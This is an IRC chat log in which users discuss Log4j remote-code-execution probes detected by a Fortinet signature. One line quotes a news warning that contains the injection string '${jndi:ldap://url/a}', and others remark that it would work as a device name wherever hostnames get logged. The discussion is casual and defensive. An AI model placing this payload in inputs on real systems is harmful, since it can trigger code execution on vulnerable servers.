<ocb>
saw the question few days ago but you quit soon after and forgot to answer later on. haven't tried building npf on crux, using it only on netbsd for now.
<ocb>
would also be interested in that, got a bit used to the format.
groovy2shoes has quit [Remote host closed the connection]
groovy2shoes has joined #crux
humky has quit [Quit: Leaving]
<frinnst>
Attack Name Apache.Log4j.Error.Log.Remote.Code.Execution
<frinnst>
not sure when fortinet released the update to detect it, but started to see it on saturday
<frinnst>
nice switch from the regular php vulnerabilities these scrips try
<frinnst>
"F-Secure's CISO Erka Koivunen echoed all the usual warnings, adding: "Please don’t change your Tesla or iPhone name into ${jndi:ldap://url/a} unless you want unexpected user experience.""
<ocb>
wonder if that would actually work? :)
<stenur>
spoiler: got neither, want neither :)
<frinnst>
well yeah, it should. assuming the hostname gets logged
<frinnst>
i'd bet ubiquiti unifi would be very vulnerable to this
<frinnst>
bobby tables lives on
<stenur>
It only reminded me of the German Linux Magazine article of Mike Schilli aka perlmeister.com -- it was 2003!
<stenur>
Januar 2003: Loggen für Faule (Linux-Magazin, Januar 2003) - perlmeister ("logging for the lazy")